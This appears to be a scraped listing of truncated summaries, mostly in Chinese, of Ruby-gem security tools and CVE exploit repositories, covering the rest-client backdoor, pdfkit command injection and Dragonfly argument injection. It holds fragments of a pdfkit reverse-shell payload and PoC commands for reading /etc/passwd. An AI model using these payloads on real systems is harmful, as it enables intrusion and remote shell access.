inspec_cve_2019_15224

一个恶意的 rest-client gem 2019年8月19日，发现rest-client gem有多个版本发布了包含恶意代码。在发现恶意的rest-client的同时，还确定了其他几个新的 gem 也携带了类似的代码。 相关报道： https://www.securityweek.com/backdoor-found-rest-client-ruby-gem https://www.theregister.co.uk/2019/08/20/rubygemhacked/ https://www.macobserver.com/news/ruby-11-backdoors/...

vbsmin

VBSmin VBScript 压缩工具 特性 ⬜️ 去除多余空白 行尾空白 行首空白 空行 行内多余空格 💬 移除注释 单引号（行首） 单引号（行内） REM 1️⃣ 单行化 分行连接（下划线） 冒号 快速开始 快速安装 root@kitploit: $ gem install vbsmin 查看更多安装选项。 默认用法：命令行 root@kitploit: $ vbsmin samples/features.vbs 原文件大小：344 字节 压缩后大小：244 字节 节省空间：100 字节 原文件路径：samples/features.vbs...

hoper

Hoper 它显示您指定的 URL 到达其端点所经过的所有跳转。 例如，如果您想查看邮件中的 URL 或 URL 缩短器的完整路径，Hoper 会返回所有 URL 重定向。 安装 root@kitploit: $ gem install hoper 使用 在命令行中输入： root@kitploit: $ hoper url 开发 检出仓库后，运行 bin/setup 安装依赖。您也可以运行 bin/console 进入交互式提示，以便进行实验。 要将此 gem 安装到本地机器，请运行 bundle exec rake install。要发布新版本，请在 version.rb...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

seccomp-tools

Seccomp Tools 用于 seccomp 分析的强大工具。 本项目主要（但并非仅）面向 CTF pwn 挑战中 seccomp 沙箱的分析。 部分功能为 CTF 专属，但同样适用于分析真实世界中的 seccomp 过滤器。 功能特性 Dump - 自动从可执行文件中转储 seccomp BPF。 Disasm - 将 seccomp BPF 转换为人类可读的格式。 支持简单的反编译。 尽可能显示系统调用名称及参数。 彩色输出！ Asm - 让编写 seccomp 规则像编写代码一样简单。 Emu - 模拟执行 seccomp 规则。 Explain -...

declarative-policy

DeclarativePolicy：一个声明式授权库 该库提供了一个用于编写授权策略的 DSL。 它可以用于将逻辑与权限分离，并已在 GitLab.com 的生产环境中大规模使用。 该库的原始作者是 Jeanine Adkisson，版权归 GitLab 所有。 安装 在应用的 Gemfile 中添加以下内容： root@kitploit: gem 'declarativepolicy' 然后执行： root@kitploit: $ bundle install 或者通过以下方式自行安装： root@kitploit: $ gem install declarativepolicy 示例...

pastenum

Pastenum Pastenum 是一个文本转储枚举工具。它旨在帮助查找和枚举发布在公共网站上的数据转储（datadumps）和 dox。 目前它搜索的网站包括 github.com、gist.github.com、pastebin.com、pastee.org 和 pastie.org。 Pastenum 是 nullthreat 原始 pastenum2（2011 年发布）的 gem 重写版本。 代码状态 安装： 安装 Ruby 1.9. 安装 RubyGems gem install pastenum 故障排除： 注意：gemfile 中的 nokogiri 需要安装本机的...

mihari

mihari 一个基于OSINT威胁狩猎的查询聚合器。 Mihari 可以在单一规则中聚合多个服务的多次搜索，并将发现结果持久化到数据库中。 Mihari 默认支持以下服务： Censys CIRCL passive DNS / passive SSL crt.sh dnstwister Fofa GreyNoise HunterHow Onyphe OTX PassiveTotal Pulsedive SecurityTrails Shodan urlscan.io Validin VirusTotal & VirusTotal Intelligence ZoomEye...

ctf-party

ctf-party 这是什么...

aws_public_ips

awspublicips 目录 功能简介 快速开始 CLI 参考 配置 IAM 权限 更新日志 贡献指南 联系方式 功能简介 awspublicips 是一个用于获取与 AWS 账户关联的所有公共 IP 地址（包括 IPv4/IPv6）的工具。 它既可作为库使用，也可作为 CLI 使用，并支持以下 AWS 服务（均包含 Classic 和 VPC 两种类型）： APIGateway CloudFront EC2（进而支持：ECS、EKS、Beanstalk、Fargate、Batch 及 NAT 实例） ElasticSearch ELB（经典 ELB） ELBv2（ALB/NLB）...

CVE-2021-33564

CVE-2021-33564 PoC CVE-2021-33564 的利用脚本（Dragonfly Ruby Gem 中的参数注入）。 用法 任意文件读取 python3 poc.py -u https:///system/refinery/images -r /etc/passwd 任意文件写入 python3 poc.py -u https:///system/refinery/images -w public/test.txt -c test.txt -lu http:// 如需了解更多信息，请访问博客。...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit 漏洞利用 - 命令注入 喜欢这个仓库吗？给我们一个 ⭐！ 仅用于教育和授权的安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 编写 漏洞描述 pdfkit 包从 0.0.0 版本起即存在命令注入漏洞，因为其 URL 未被正确清理。 漏洞利用说明 Ruby gem pdfkit 通常用于将网站或 HTML 转换为 PDF 文档。该软件存在漏洞的版本（ python3 exploit-CVE-2022–25765.py -s python3 exploit-CVE-2022–25765.py -c -...

CVE-2022-36231

CVE-2022-36231 La gema de ruby pdfinfo = 0.5.3 es vulnerable a la Inyección de Comandos del Sistema Operativo al ejecutar un método en un objeto PDF::Info. Un atacante que utilice un payload especialmente diseñado puede ejecutar comandos del sistema operativo mediante el encadenamiento de comando...

CVE-2023-31606

CVE-2023-31606 Vulnerabilidad Se descubrió un problema de Denegación de Servicio por Expresión Regular ReDoS en la función sanitizehtml de la gema redcloth = v4.0.0. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio DoS mediante el suministro de una carga útil...

crack-0.1.8-fixed

= crack 非常简单的JSON和XML解析，取自Merb和Rails。XML解析器取自Merb，JSON解析器取自Rails。我不居功，只是打包它们以便大家轻松使用。 == 关于版本发布 版本会在GitHub上打标签，并在GitHub和RubyForge上作为gem发布。每当我添加补丁或新功能时，都会推送到master分支。要从master构建，可以克隆代码，生成更新后的gemspec，构建gem并安装。 rake gemspec gem build crack.gemspec gem install 构建好的gem == 关于补丁/拉取请求 Fork项目。 添加功能或修复bug。...

sanitize

Sanitize Sanitize is an allowlist-based HTML and CSS sanitizer. It removes all HTML and/or CSS from a string except the elements, attributes, and properties you choose to allow. Using a simple configuration syntax, you can tell Sanitize to allow certain HTML elements, certain attributes within...

ssllabs.rb

ssllabs.rb Gema de Ruby para la prueba de servidores de Qualys SSL Labs. Notas de la API Todos los objetos de la API descritos en la documentación de la API de SSL Labs se exponen como objetos nativos de Ruby. Las propiedades se acceden con nombres "underscored", es decir, endpoint.hoststarttime...

ssh_scan

sshscan 一个SSH配置和策略扫描器 ⚠️ 弃用通知 ⚠️ Mozilla 不再维护 SSH Scan 项目。 请 fork 该项目以继续开发。 主要优势 最小依赖 - 使用原生 Ruby 和 BinData 完成工作，没有繁重的依赖。 不仅仅是脚本 - 实现可移植，可用于其他项目或任务自动化。 简单 - 只需将 sshscan 指向一个 SSH 服务，即可获得关于其支持内容和策略状态的 JSON 报告。 可配置 - 制定适合您独特策略要求的自定义策略。 设置 作为 gem 安装并运行，输入： root@kitploit: gem install sshscan sshscan...

droid-hunter

root@kitploit: .---. .----------- / \ / ------ / / \ / ----- ╔╦╗╦═╗╔═╗╦╔╦╗ ╦ ╦╦ ╦╔╗╔╔╦╗╔═╗╦═╗ ////// ' / --- ║║╠╦╝║ ║║ ║║───╠═╣║ ║║║║ ║ ║╣ ╠╦╝ //// / // : : --- ═╩╝╩╚═╚═╝╩═╩╝ ╩ ╩╚═╝╝╚╝ ╩ ╚═╝╩╚═ // / / / '-- By HaHwul // //..\ www.hahwul.com ====UU====UU==== https://github.com/hahwul/droid-hunter...

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkit 中的命令注入 描述 CVE-2022-25765 是一个影响 pdfkit （Ruby gem） 0.8.7.2 版本的命令注入 （Command Injection）漏洞。该漏洞严重性为 CRITICAL ，CVSS 评分为 9.8，因为其允许在无需身份验证的情况下远程执行命令。 问题在于 pdfkit 将 url 参数直接传递给 shell，而未进行任何清理。该库在内部通过类似以下命令执行 wkhtmltopdf： root@kitploit: system"wkhtmltopdf --quiet ... 'url' output.pd...